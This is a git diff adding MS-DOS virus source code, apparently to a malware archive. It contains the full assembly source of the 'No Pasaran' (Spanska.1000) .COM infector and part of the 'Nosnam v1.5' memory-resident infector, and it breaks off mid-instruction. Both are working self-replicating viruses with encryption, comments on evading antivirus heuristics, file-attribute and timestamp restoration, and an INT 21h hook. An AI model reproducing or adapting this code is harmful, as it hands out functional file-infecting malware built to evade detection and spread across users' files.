bl,ah + add bx,bx + add bx,si + add ax,ax + add si,ax + push es + pop ds + mov ax,[bx] + xchg ax,[si] + mov [bx],ax + stc ; Set carry flag +loc_25: + pop dx + pop cx + pop bx + jnc loc_26 ; Jump if carry=0 + mov ax,301h + pushf ; Push flags + push cs + call sub_7 +loc_26: + pop ax + jc loc_27 ; Jump if carry Set + dec al + jnz loc_20 ; Jump if not zero +loc_27: + pop ds + pop si + pop cx + pop bx +loc_28: + pop ax + shr ax,1 ; Shift w/zeros fill + jnc loc_31 ; Jump if carry=0 + mov ax,100h + jmp short loc_32 + db 0, 0, 2Eh, 0FFh, 36h, 1Dh + db 5, 9Dh, 74h, 50h, 2Eh, 88h + db 26h, 1Fh, 5, 2Eh, 89h, 0Eh + db 22h, 5, 2Eh, 3Ah, 26h, 82h + db 4, 75h, 3, 80h, 0F4h, 1 +loc_29: + push cx + mov cx,0FFFFh + pushf ; Push flags + push cs + call sub_6 + pop cx + pushf ; Push flags + cmp cs:data_15,0 ; (5C43:051F=3Ch) +loc_30: + jne loc_30 ; Jump if not equal + popf ; Pop flags + jnc loc_32 ; Jump if carry=0 + cmp ah,1 + stc ; Set carry flag + jnz loc_32 ; Jump if not zero +loc_31: + xor ax,ax ; Zero register +loc_32: + sti ; Enable interrupts + ret 2 ; Return far + db 2Eh, 3Ah, 26h, 83h, 4, 74h + db 0F3h, 84h, 0E4h, 74h, 0EFh, 80h + db 0FCh, 1, 74h, 5, 80h, 0FCh + db 5, 72h, 0ADh + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_6 proc near + jmp cs:data_13 ; (5C43:0519=2E14h) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_7: +loc_33: + jmp far ptr loc_37 +sub_6 endp + +loc_34: + push ds + call sub_8 + push cs + add [di],dl + add ss:data_17e[bp],bx ; (5C43:1610=0) + add ds:data_18e[bx+si],di ; (5C43:4BAA=0) + int 21h ; DOS Services ah=function 03h + ; get char al from serial port + jnc loc_35 ; Jump if carry=0 + pop si + push si + push es + xor ax,ax ; Zero register + mov ds,ax + les bx,dword ptr ds:data_1e ; (0000:004C=0FE9h) Load 32 bit ptr + mov ah,13h + int 2Fh ; Multiplex/Spooler al=func 00h + ; get installed status + push es + push bx + mov ah,13h + int 2Fh ; Multiplex/Spooler al=func 00h + ; get installed status + pop word ptr cs:[si-8] + pop bx + mov cs:[si-6],bx + mov ax,es + cmp ax,bx + les bx,dword ptr ds:data_2e ; (0000:0084=109Eh) Load 32 bit ptr + push cs + pop ds + pushf ; Push flags + pop data_9[si] ; (5C43:0148=9090h) + mov [si+4],bx + mov [si+6],es + pop ax + dec ax + mov ds,ax + mov bx,43h + sub ds:data_5e,bx ; (5C42:0012=0) + sub ds:data_4e,bx ; (5C42:0003=0FFFFh) + inc ax + add ax,ds:data_4e ; (5C42:0003=0FFFFh) + push ax + sub ax,10h + push ax + mov ds,ax + mov dx,2BCh + mov ah,13h + int 2Fh ; Multiplex/Spooler al=func 32h + pop dx + pop es + xor di,di ; Zero register + push cs + pop ds + inc data_7[si] ; (5C43:0126=9090h) + sub si,2D5h + mov cx,41Fh + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + mov ax,0FE00h + stosb ; Store al to es:[di] + stosw ; Store ax to es:[di] + mov es,cx + mov di,84h + mov ax,110h + stosw ; Store ax to es:[di] + xchg ax,dx + stosw ; Store ax to es:[di] +loc_35: + pop si + pop es + push cs + pop ds + xor ax,ax ; Zero register + cmp data_8[si],5A4Dh ; (5C43:0128=9090h) + jne loc_36 ; Jump if not equal + mov dx,es + add dx,10h + add [si+2],dx + push es + pop ds + jmp dword ptr cs:[si] ; 1 entry +loc_36: + sub si,0FED8h + mov di,100h + push di + movsw ; Mov [si] to es:[di] + movsb ; Mov [si] to es:[di] + ret + db 3, 4, 92h, 0AEh, 0A7h, 0A8h + db 20h, 0A4h, 0A5h, 0A1h, 0A5h, 0ABh + db 20h, 0A8h, 0A4h, 0A8h, 0AEh, 0B2h + db 20h, 0A2h, 0ACh, 0A5h, 0B1h, 0B2h + db 0AEh, 20h, 0A4h, 0A0h, 20h, 0B6h + db 0A5h, 0ABh, 0B3h, 0ADh, 0A5h, 20h + db 0B1h, 0AEh, 0B7h, 0ADh, 0A8h, 0B2h + db 0A5h, 20h, 0B3h, 0B1h, 0B2h, 0ADh + db 0A8h, 20h, 0ADh, 0A0h, 20h, 0ACh + db 0AEh, 0ACh, 0A8h, 0B7h, 0A5h, 0B2h + db 0AEh, 2Ch, 20h, 0A2h, 0AFh, 0A8h + db 20h, 0B3h, 0B1h, 0B2h, 0ADh, 0A8h + db 20h, 0B2h, 0A0h, 0ACh, 2Ch, 20h + db 0AAh, 0BAh, 0A4h, 0A5h, 0B2h, 0AEh + db 20h, 0B2h, 0B0h, 0BFh, 0A1h, 0A2h + db 0A0h, 0B8h, 0A5h, 20h, 0A4h, 0A0h + db 20h, 0B1h, 0ABh, 0AEh, 0A6h, 0A8h + db 20h, 0B1h, 0BAh, 0A2h, 0B1h, 0A5h + db 0ACh, 20h, 0A4h, 0B0h, 0B3h, 0A3h + db 0AEh, 20h, 0ADh, 0A5h, 0B9h, 0AEh + db 0, 4, 0, 0CDh, 20h, 90h + +code_seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.nopasara.asm b/MSDOS/Virus.MSDOS.Unknown.nopasara.asm new file mode 100644 index 00000000..1cc437b3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nopasara.asm @@ -0,0 +1,667 @@ +; NO PASARAN virus version 2 by Spanska +; Called Spanska.1000 by AV people +; This is my first virus +; +;*********************************************************************** +; +; This virus is dedicated to all spanish and international young +; guys who fighted against fascist army during Spanish Civil War +; (1936-1939). They said "THEY SHALL NOT PASS!" +; +;********************************contact me at el_gato@rocketmail.com*** +; +; No flag with TBSCAN +; At the time it was released (january 97), was not detected by +; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode +; but by DrWeb in heuristic mode (i didn't know this program...) +; +; generation zero size: 3537 bytes +; virus size: 1000 bytes +; +; Compile it with TASM /m2 and TLINK /t +; +; Properties: +; simple .com runtime infector +; not destructive +; encrypted with variable key +; infects 7 files each run +; infects current directory, than upper directories +; when it reaches the root, it starts infecting all "level1" subdirectories +; doe not infect files >60,000 or <100 bytes, nor command.com +; the VGA graphic bomb (a fire effect) explodes when minutes=22 +; and seconds<30 (1/120) + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h +; +;---------------fake host code-------------------- +; +hote: +call virus ;jump to viral code (avoid J flag) +signature db "lc" ;virus signature +nop ; +nop ;fake host +nop ; +nop ; +mov ah, 4ch ;finished +mov al,0 ;go to +int 21h ;DOS + +;********************************************************************** +; START OF VIRAL CODE +;********************************************************************** + +virus: ;virus starts here +jmp evite ;avoid next routine + +;=== simulation of a stosb === +;=== when outside decrypt loop === +;=== do not flag # === +baise_flag_cryptage: ;=== +mov [di], al ;=========>>> NO MORE FLAG "#" !!!!! +inc di ;=== +ret ;=== +;=================================== +; +;---------------get delta offset---------------------------- +; +evite: +call $+3 ;modified classic +delta: ;routine to +mov bp, sp ;avoid flag E +mov ax, [bp] ; +add word ptr [bp], decrypte-delta ;thanks Slacker's Theory +sub ax, offset delta ;of Code through Obscurity! +mov bp, ax +ret +; +;----------------------decrypting routine------------------------- +; +decrypte: +mov dl, [bp+offset clef] ;get actual key +mov cx, fin_cryptage - debut_cryptage ; +lea si, [bp+offset debut_cryptage] ; +mov di, si ; +xor_loop: ;decrypt loop +mov al, [si] ; +inc si ; +xor al, dl ; +call baise_flag_cryptage ;call the fake stosb to avoid flag # +loop xor_loop +; +;-----initialization to 0 of both infection and directory counters-------- +; +debut_cryptage: ;crypted zone starts here +mov byte ptr [bp+offset compteur], 0 ;infection counter +mov byte ptr [bp+offset phase], 0 ;directory counter +; +;-----------------------remember current repertory----------------------- +; +lea si, [bp+offset repert] ; +xor dl, dl ; +mov ah, 47h ; +int 21h ; +; +;-----------------DTA go to a predefined zone in memory------------------ +; +push 1a00h ;push/pop to +pop ax ;avoid flag F +lea dx, [bp+offset dta] ; +int 21h ; +; +;------------------------find first file--------------------------------- +; +recherche: +mov cx, 0007h ; +lea dx, [bp+offset file_type] ; +mov ax, 4e00h ; +int 21h ;file found? +jnc sauter_suivant ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper directory +; +;---------------------------find next file-------------------------------- +; +fichier_suivant: +lea dx, [bp+offset file_type] ; +mov ax, 4f00h ; +mov cx, 0007h ; +int 21h ;file found? +jnc saut5 ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper direcory +saut5: +; +;---------------verify if extension is really .com--------------------- +; (it's made to avoid flag S with tbscan) +; (and to avoid AVP detection 'cause AVP detects all combinations +; like .c?m, .?om..., BUT .c*) +; +sauter_suivant: +mov cx, 13d ;max size of a file name (not really, but +lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) +compare: ;loop for detecting start of the extension +lodsb ;letter in al +cmp al, "." ;is it a point? +jne compare ;no => test next letter +inc si ;yes => si points on second extension letter +cmp word ptr [si], "MO" ;second and third letters are "OM"? +jne fichier_suivant ;no => find next file +; +;-------------------verify if it's command.com---------------------------- +; +cmp word ptr [bp+offset dta+1eh+2], "MM" +je fichier_suivant ;yes => find next file +; +;------------attributes to 0 to infect special files--------------------- +; +lea dx, [bp+offset dta+1eh] ;file name pointed with dx +push 4301h ;push/pull to +pop ax ;avoid flag F +xor cx, cx ; +int 21h ; +; +;---------------------------open file------------------------------------ +; +mov ax, 3D02h ; +lea dx, [bp+offset dta+1eh] ; +int 21h ;file found? +jnc saut2 ;yes => c=0, let's continue +jmp remise_en_etat ;no => arrange file and close it +saut2: ; +mov [bp+offset handle],ax ; +; +;-----------------read 5 first bytes of the file--------------------- +; +xchg ax, bx ; +mov cx, 5 ; +mov ax, 3F00h ; +lea dx, [bp+offset contenu] ;bytes go to "contenu" zone +int 21h ;file found? +jnc saut3 ;yes => c=0, let's continue +jmp remise_en_etat ;no => arrange file and close it +saut3: ; +; +;------------------is the file already infected?----------------------- +; +cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature +jnz saut4 ;not infected => z=0, let's continue +jmp remise_en_etat ;already infected => arrange file and close +saut4: ; +; +;-----------------------is the size correct?--------------------------- +; +cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000 +jna pas_trop_gros ;is it bigger? +jmp remise_en_etat ;yes => find next file +pas_trop_gros: ;no => other verification +cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100 +jnb verif_ok ;if >100 let's continue +; +;--------arrange file and close it in case of non-infection------------- +; +remise_en_etat: +mov ah, 3Eh ; +int 21h ;close it +; +;------------------restore attributes----------------------------------- +; +lea dx, [bp+offset dta+1eh] ; +xor ch, ch ; +mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA +push 4301h ;push/pop to +pop ax ;avoid flag F +int 21h ; +; +;----------after arranging the file, let's find another one------------- +; +jmp fichier_suivant ;go to find-next routine +; +;-------------------disk file pointer at the end------------------- +; +verif_ok: +mov ax, 4202h ; +xor cx, cx ; +mov dx, cx ; +int 21h ; +; +;----------------------infection routine------------------------------ +; +;first, let's write non-encrypted part +; +mov ax, 4000h ; +mov cx, debut_cryptage - virus ; +lea dx, [bp+offset virus] ; +int 21h ; +; +;second, let's crypt next part in memory +; +mov cl, [bp+offset cinq_octets+1] ;cl=new key +mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone +lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone +lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting +xchg cl, dl ;key in dl +mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt +crypte_et_transfere: ; +lodsb ; +xor al, dl ;classic XOR crypting loop +stosb ; +loop crypte_et_transfere ; +; +;third, disk writing of the crypted zone +; +mov ax, 4000h ; +mov cx, fin_cryptage - debut_cryptage ;number of bytes to write +lea dx, [bp+offset zone_de_travail] ; +int 21h ; +; +;------write on disk real 5 first bytes of the file+new crypt key-------- +;----from "contenu" zone in memory to "cinq_octets" zone on the disk)---- +; +;1) move disk file pointer to good zone +; +xor cx, cx ; +mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx +add dx, cinq_octets - virus ;add offset of good zone +mov ax, 4200h ; +int 21h ; +; +;2) move memory pointer to good zone, and transfer +; +mov cx, 6 ;we will write 6 bytes +lea dx, [bp+offset contenu] ;("contenu" + "clef_temp") +push 4000h ;so 5 first bytes + new key +pop ax ;this push/pop is not necessary +int 21h ; +; +;--overwrite 5 first bytes on the disk by jump to virus code + signature--- +; +;1) move disk file pointer to start of the file +; +xor cx,cx ; +mov dx, cx ; +mov ax, 4200h ; +int 21h ; +; +;2) calculate initial jump and write all on a temp zone in memory +;(NB: we use the "contenu" memory zone which is not more util) +; +mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL +mov ax, word ptr [bp+offset dta+1ah] ;ax=file size +sub ax, 3 ;this is because of the CALL +mov word ptr [bp+offset contenu+1], ax ;write deplacement +mov word ptr [bp+offset contenu+3], "cl" ;write signature +; +;3) overwrite 5 first bytes on the file +; +mov cx,5 ; +lea dx, [bp+offset contenu] ; +mov ax, 4000h ; +int 21h ; +; +;-------------------restore time/date of the file------------------------ +; +mov dx, word ptr [bp+offset dta+18h] ;date in dx +mov cx, word ptr [bp+offset dta+16h] ;time in cx +push 5701h ;push/pop +pop ax ;to avoid flag F +int 21h ; +; +;-----------------------------close file--------------------------------- +; +mov ah, 3Eh ; +int 21h ; +; +;------------------------restore file attributes----------------------- +; +lea dx, [bp+offset dta+1eh] ; +xor ch, ch ; +mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA +push 4301h ; +pop ax ; +int 21h ; +; +;--------------verify how many files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur] ;infection counter in cl +inc cl ;one more +cmp cl, 7 ;have we infected 7 files? +je attendre ;yes => let's stop +mov byte ptr [bp+offset compteur], cl ;no => write new value of counter +; +;-----------------------let's infect a new file------------------------- +; +jmp fichier_suivant ;infect next file +; +;---------------------climb to upper directory-------------------------- +; +rep_sup: +lea dx, [bp+offset dot] ;let's go to ".." repertory +mov ah, 3bh ; +int 21h ;are we in the root? +jc on_redescend ;yes => c=1, let's go down now +jmp recherche ;no => find first file +; +;---if we are in root, let's go to all "first-level" subdirectories----- +; +on_redescend: ; +mov ah, 4eh ;find first file +mov cx, 16 ;with repertory attribute +lea dx, [bp+offset dir_masque] ;called "*.*"... +int 21h ; +jc attendre ;there are no subdirectory => stop + +cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? +je le_premier ;phase=0 => do not find next dir + +xor bh, bh ; +mov bl, byte ptr [bp+offset phase] ;bx=phase + +rep_suivant: ;loop to avoid all subdir already infected +mov cx, 16 ;rep attributes +mov ah, 4fh ;find next dir +lea dx, [bp+offset dir_masque] ; +int 21h ; +jc attendre ;there are no subdirectory => stop + +cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? +jne rep_suivant ;no => find next + +dec bx ;this routine is made to infect +cmp bx, 0 ;directory "number phase" +jne rep_suivant ;if bx<>0, the subdir is already infected + +le_premier: +add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected + +lea dx, [bp+offset dta+1eh] ;so, let's change +mov ah, 3bh ;directory to it +int 21h ; + +jmp recherche ;and infect this new subdirectory +; +;-----in case of problem, or no more directory to infect, we go here------ +; +attendre: ; +; +;------------------DTA in the normal zone----------------------------- +; (to avoid perturbing host program) +; +push 1a00h ;push/pop +pop ax ;to avoid flag F +mov dx, 80h ;to 80h, the normal zone +int 21h ; +; +;------restore the directory in which we were when we started------------- +; +;primo, rapid climb until the root +; +remontee_finale: +lea dx, [bp+offset dot] ; +mov ah, 3bh ; +int 21h ; +jnc remontee_finale ;continue until we are in the root +; +;secundo, we go to the directory in which we were at start +; +lea dx, [bp+offset repert] ;we saved the dir in this zone +mov ax, 3B00h ;change dir +int 21h ; +; +;------replace 5 first bytes of the host in memory---------- +; +lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here +mov ax, 101h ;classic trick to +dec ax ;avoid flag B +mov di, ax ;100h in DI for transfer +mov cx, 5 ;write 5 bytes +rep movsb ;transfer them +; +;--------------------does the bomb explode?--------------------- +; +mov ah, 2Ch ;internal clock: ch=hour et cl=minute +int 21h ; +cmp cl, 22d ;minutes = 22? +jne redonner_la_main ;no => return to host +cmp dh, 30d ;yes => test seconds +jb bombe ;if seconds <30 (1/120) the bomb explodes +; +;-----------------------return to host---------------------------- +; (remember the very first CALL: we have 103h on the stack) +; +redonner_la_main: +pop ax ;get 103h +sub ax, 3 ;we want 100h +push ax ;re-put it on stack (for the RET) +xor ax, ax ;a starting program +xor bx, bx ;likes to find all +xor cx, cx ;registers equals +xor dx, dx ;to zero. +ret ;on redonne la main au pauvre programme + +nop +nop ;just for fun: with these 3 nops, virus size is just 1000. +nop +; +;********************************************************************** +; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT +;********************************************************************** +bombe: + +;--------------------------------VGA----------------------------------- + + mov ax, 13h ; + int 10h ;goto graphic mode + + +;------initialisation of the flame palette (black=>red=>white)---------- + + mov dx, 3c8h ;dx = palette port + xor al, al ;starting with color 0 + out dx, al ;write first color in the port + inc dx ;define all colors + + xor cx, cx ;component red start from 0 and augment +rouges: ;let's define colors from 0 to 62 + mov al, cl ;first component (red) equal to cl + out dx, al ;write on palette port + xor al, al ;others components (blue, green) to zero + out dx, al ;write blue component + out dx, al ;write green component + inc cx ;increment red component of color + cmp cx, 63 ;do cx reach 63? +jne rouges ;no => continue loop + + xor cx, cx ;component blue start from 0 and augment +jaunes: ;let's define colors from 63 to 125 + mov al, 63 ;component red equal to 63 + out dx, al ;write it + mov al, cl ;second component (blue) equal to cl + out dx, al ;write it + xor al, al ;third component (green) equal to zero + out dx, al ;write it + inc cx ;increment blue component of color + cmp cx, 63 ;do cx reach 63? +jne jaunes ;no => continue loop + + xor cx, cx ;component green start from 0 and augment +blancs: ;let's define colors from 126 to 188 + mov al, 63 ;components red and blue equal to 63 + out dx, al ;write red component + out dx, al ;write blue component + mov al, cl ;third component (green) equal to cl + out dx, al ;write it + inc cx ;increment green component of color + cmp cx, 63 ;do cx reach 63? +jne blancs ;no => continue loop + + mov cx, 198 ;we're going to define 198/3=66 next colors +blancfin: ;let's define colors from 189 to 254 + mov al, 255 ;all components are maximum + out dx, al ;so these colors are white +loop blancfin ; + + xor al, al ;define last color (number 255) + mov cx, 3 ;in black so we do not see the + rep out dx, al ;focus at the bottom of the flame + +;------------draw some focus at the bottom at random places-------------- + + mov ax, 0a000h ;video mem + mov es, ax ;segment in es +boucle: + mov di, (320*199)+5 ;start line 199, 5 pixels from the left side + +foyers: + call random ;bring back a random dl between 0 and 255 + cmp dl, 180 ;dl>180? + jb noir ;no => no focus, color to black + mov dl, 255 ;yes => a focus, color to white + jmp blanc ;avoid "no focus" routine + +noir: + xor dl, dl ;no focus, color to black +blanc: + mov al, dl ;load al with color + mov cx, 5 ;focuses are 5 pixels long + +zobi: + stosb ;draw focus pixel + add di, 319 ;and draw another pixel + stosb ;under the first + sub di, 320 ;(more beautiful) +loop zobi + + cmp di, (320*199)+30 ;the torch will be 30 pixels wide +jb foyers ;focus line not finished, so loop + +;--------real screen--->modification--->virtual screen------------------ + +mov di, 320*120 ;we use just the 80 bottom lines +lea si, [bp+offset ecran_virtuel] ;memory zone for calculations +mov dx, 80 ;line loop: 80 repetitions +xor ax, ax ;we gonna use ax, so put zero + +ecran: ;start of line loop + mov cx, 30 ;column loop: 30 repetitions + +modif: ;start of column loop + + mov al, es:[di] ;in al, color of current pixel + add al, es:[di+320] ;add pixel color just under it + adc ah, 0 ;result may be >255, so add carry + add al, es:[di+319] ;add pixel color under it to the left + adc ah, 0 ;add carry + add al, es:[di+641] ;add pixel 2 lines under it to the right + adc ah, 0 ;add carry + shr ax, 1 ;calculate the average color of these + shr ax, 1 ;4 pixels, dividing ax by 4 + cmp al, 0 ;is this average value black? + je bitnoir ;yes => do not decrement color + dec al ;no => decrement color + +bitnoir: + mov ds:[si], al ;write pixel with new color on memory + inc si ;next pixel on memory (virtual screen) + inc di ;next pixel on screen (real screen) + +loop modif ;finish the line + +add di, (320-30) ;on screen, go to first pixel of next line +dec dx ;dx = line counter, decrement it +cmp dx, 0 ;are we to the bottom of the screen? +jne ecran ;no => let's go to next line + +;----------------virtual screen--->real screen------------------------- + +mov di, (320*120) ;di points to line 120 on real screen +lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen + +xor dx, dx ;line counter to zero + +deux_flammes: + mov cx, 30 ;copy one line to the + rep movsb ;left side of the screen + sub si, 30 ;virtual: rewind to the start of the same line + add di, 230 ;real: draw the second torch at column 230+30+5 + mov cx, 30 ;copy the same line to the + rep movsb ;right side of the screen + add di, 30 ;real: start next line (NB: 295+30=320+5) + inc dx ;increment line counter + cmp dx, 79 ;copy 78 lines +jne deux_flammes + +;--------------put text cursor at line 5, column 1---------------------- + +mov dx, 0501h ;dh=line, dl=column +xor bh, bh ;page zero +mov ah,02h ;put cursor to position DH, DL +int 10h ;BIOS screen int + +;--------------------write text message on screen----------------------- + +mov ah, [bp+offset clignote] ;blink counter in ah +inc ah ;increment it +mov [bp+offset clignote], ah ;put it back to its place +cmp ah, 128 ;compare it to 128 (alternance time 50/50) +ja second_message ;inferior => write second message +lea si, [bp+offset message] ;superior => write first message +jmp premier_message ;and avoid second message +second_message: ; +lea si, [bp+offset message2] ;now write second message +premier_message: + +mov cx, 36 ;message lenght + +affiche_message: + lodsb ;load letter in al + mov bl, 254 ;and color in bl (white) + mov ah, 0Eh ; + int 10h ;write this letter on screen +loop affiche_message + + jmp boucle ;return to step "draw focus" + +;-----------random number creation routine (stolen somewhere)-------------- + +random proc near + mov ax, [bp+offset aleat] + mov dx, 8405h + mul dx + inc ax + mov [bp+offset aleat], ax + ret +random endp + +;--------------memory zones of the graphic effect------------------------ + +message db " Remember those who died for Madrid " ;message 1 +message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2 +clignote db 00 ;blink counter +aleat dw 0AAh ;random seed + +; +;-------------------memory zones of the virus---------------------------- +; +dir_masque db "*.*",0 ;mask to find subdirectories +file_type db "*.c*",0 ;mask to find file type +dot db "..",0 ;mask to find upper directory +fin_cryptage: ;end of crypting +cinq_octets db 5 dup(90h) ;5 first bytes of host +clef db 0 ;crypt key +; +;--------these temporary memory zones are not written on disk------------ +; +phase db 0 ;to find the good subdirectories +compteur db 0 ;infection counter +handle db 0,0 ;file handle +contenu db 0,0,0,0,0 ;to read 5 first bytes of a file +clef_temp db 0 ;crypt key +dta db 48 dup (0AAh) ;DTA zone +repert db 64 dup (0FFh) ;starting directory +ecran_virtuel db 80*30 dup (00) ;virtual screen +zone_de_travail: ;used to crypt virus + +code ends + end hote + +; ------------------------(c) Spanska 1997------------------------------ diff --git a/MSDOS/Virus.MSDOS.Unknown.nosnam.asm b/MSDOS/Virus.MSDOS.Unknown.nosnam.asm new file mode 100644 index 00000000..aa33b6df --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nosnam.asm @@ -0,0 +1,264 @@ +; ------------------------------------------------------------------------- ; +; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ; +; `-------------------^------------------- ; +; v1.0 - TSR *.com appender, direct MCB manipulation style | Size: 430 ; +; v1.1 - add some XOR,NEG,NOT,ROR encryption to this `---------- ; +; v1.2 - Infects only files < 1,000 bytes and > 62,000 bytes ; +; v1.3 - saves and restores the time / date stamps ; +; v1.4 - infects files with any attributes ; +; v1.5 - saves and restores file attributes ; +; ------------------------------------------------------------------------- ; +; ------> For Christine Moore, For The Codebreakers & For Mind Warp <----- ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm nosnam.asm ; +; to link :::::] tlink /t nosnam.obj ; +; ------------------------------------------------------------------------- ; + + code segment ; name our segment 'code' + assume cs:code,ds:code ; assign cs and ds to code + org 100h ; this be a .com file + .286 ; needed for pusha/popa + +blank: db 0e9h,0,0 ; define blank jump +start: call delta ; push IP on to stack +delta: pop bp ; pop it into BP + sub bp,offset delta ; get delta offset + +encryp: jmp first ; jump to first (overwritten) + lea si,[bp+encd] ; load SI with encrypted area start + mov di,si ; move that address into DI + call encr ; call the encryption loop + jmp encd ; jump to encrypted area start + +encr: lodsb ; load a byte from AL + not al ; encryptin 1 + ror al,4 ; encryptin 2 + neg al ; encryptin 3 + xor al,byte ptr [bp+key] ; unencrypt 4 + neg al ; unencrypt 3 + ror al,4 ; unencrypt 2 + not al ; unencrypt 1 + stosb ; store the byte + loop encr ; do all the bytes + ret ; return from call + + key db 0 ; define our key here + +encd: mov ax,0deadh ; move 0deadh into AX + int 21h ; if resident, 0deadh is in BX + cmp bx,0deadh ; check to see if it is + jne go_rez ; nope, go rezident now + jmp first3 ; jump to first three + +go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP + mov ax,cs ; move CS into AX + dec ax ; decrement AX + mov ds,ax ; move new value into DS + sub word ptr ds:[3],80h ; sub 2kb from accessed MCB + xor ax,ax ; AX to 0 now + mov ds,ax ; DS is now 0 + sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb + mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX + mov cl,6 ; load CL with 6 + shl ax,cl ; multiply BIOS base mem by 64 + mov es,ax ; move the value to ES + push cs ; push CS again so you can + pop ds ; restore DS to original value + xor di,di ; DI is now 0 + lea si,[bp+start] ; SI loaded with start address + mov cx,finished-start ; # of bytes to write + rep movsb ; load virus into memory + +hook: xor ax,ax ; ax to 0 + mov ds,ax ; DS to 0 + lea ax,isr ; point IVT to new ISR + sub ax,offset start ; subtract start offset + mov bx,es ; move extra segment into BX + + cli ; clear interrupts + xchg ax,word ptr ds:[21h*4] ; getting Int 21 + xchg bx,word ptr ds:[21h*4+2] ; into bx and ax + mov word ptr es:[oi21-offset start],ax ; save old int 21 + mov word ptr es:[oi21+2-offset start],bx ; save old int 21 + sti ; restore interrupts + + push cs ; push code segment register + push cs ; push it again + pop ds ; put it into DS + pop es ; put it into ES + +first3: lea si,[bp+buffer] ; restore first three bytes + mov di,100h ; 100h to restore them too + push di ; push 100h on to stack + movsb ; move one byte + movsw ; move one word + retn ; return control to host + +isr: pushf ; push all the flags + cmp ax,0deadh ; have we added check value? + jne exec ; yup, wait now for 4bh + mov bx,0deadh ; nope adding it now + popf ; pop all flags + iret ; pop cs:ip+flags from stack + +exec: pusha ; push all registers + push ds ; push DS + push es ; likewize for ES + cmp ah,4bh ; something being executed? + je main ; yup, on with the infecting + jmp exit2 ; naw, jump to original ISR +goexit: jmp exit ; need this to make the jump + +main: push bp ; save original delta offset + call tsrdel ; push IP on to stack +tsrdel: pop bp ; pop it off into BP + sub bp,offset tsrdel ; get 2nd delta offset + + push ds ; push DS again + pop es ; and pop it into ES + mov di,dx ; move file info into DI + mov cx,64 ; 64 byte filename possible + mov al,'.' ; load al with . + cld ; clear direction flag + repnz scasb ; scan until . is hit + cmp word ptr ds:[di],'OC' ; check for .CO- + jne goexit ; not a .com file, exit + cmp word ptr ds:[di+2],'M' ; check for .--M + jne goexit ; not a .com file, exit + + mov ax,4300h ; get file attributes + int 21h ; we have the attributes + push cx ; save attribute #1 + push dx ; save attribute #2 + push ds ; save attribute #3 + + mov ax,4301h ; set file attributes + xor cx,cx ; to none at all + int 21h ; file is ready now + + mov ax,3d02h ; open the file now + int 21h ; open it up now + xchg bx,ax ; move the info + + push cs ; push code segment register + push cs ; push it again + pop ds ; put it into DS + pop es ; put it into ES + + mov ax,5700h ; get the time / date stamps + int 21h ; got them now + push dx ; save value #1 + push cx ; save value #2 + + mov ah,3fh ; the record function + lea dx,[bp+buffer] ; record bytes here + mov cx,3 ; record three bytes + int 21h ; restore them now + + mov ax,4202h ; scan to end of file + cwd ; dx to 0 + xor cx,cx ; cx to 0 + int 21h ; DX:AX = file size now! + + cmp dx,0 ; is the file < 65,535 bytes? + jne close ; way to big, close it up + mov cx,word ptr [bp+buffer+1] ; move buffer+1 into CX + add cx,finished-start+3 ; virus size + jump + cmp ax,cx ; compare file size and CX + jz close ; if equal, close it up + cmp ax,1000 ; compare 1000 bytes with CX + jb close ; file too small, close it + cmp ax,62000 ; compare 62,000 bytes with AX + ja close ; file too big, close it up + + sub ax,3 ; subtract 3 from filesize + mov word ptr [bp+newjump+1],ax ; write as our new jump + + mov ax,4200h ; point to start of file + cwd ; dx to 0 + xor cx,cx ; cx to 0 + int 21h ; now pointing to start + + mov ah,40h ; write to file + mov cx,3 ; three bytes + lea dx,[bp+newjump] ; write this + int 21h ; jump is written + + mov ax,4202h ; scan to end of file + cwd ; dx to 0 + xor cx,cx ; cx to 0 + int 21h ; now pointing to end + + in al,40h ; get random value + mov byte ptr [bp+key],al ; save as our key + + mov ah,40h ; write to file + lea dx,[bp+start] ; where to start + mov cx,encd-start ; # of bytes to write + int 21h ; write those bytes + + lea di,[bp+finished] ; DI points to encrypted area end + push di ; save value, we need it in a minute + lea 